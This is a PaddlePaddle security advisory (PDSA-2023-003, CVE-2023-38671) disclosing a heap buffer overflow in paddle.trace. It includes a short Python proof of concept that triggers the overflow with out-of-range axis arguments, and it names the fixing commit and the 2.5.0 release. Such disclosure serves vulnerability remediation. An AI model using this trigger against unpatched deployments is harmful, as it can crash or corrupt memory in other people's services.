## PDSA-2023-003: Heap buffer overflow in paddle.trace

### CVE Number

CVE-2023-38671

### Impact

`paddle.trace` has a heap buffer overflow. The PoC is as follows:

```python
import paddle
import numpy as np
from paddle import trace

x = paddle.to_tensor(np.random.uniform(-10, 10, [2, 2, 2]).astype(np.float64))
offset = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.int32))
axis1 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
axis2 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))

trace(x, offset, axis1, axis2)
```

### Patches

We have patched the issue in commit [12549dfe3e87a4c30f852d2eca81d7f67c8daa87](https://github.com/PaddlePaddle/Paddle/commit/12549dfe3e87a4c30f852d2eca81d7f67c8daa87).
The fix will be included in PaddlePaddle 2.5.0.

### For more information

Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution

This vulnerability has been reported by Tong Liu of ShanghaiTech University.
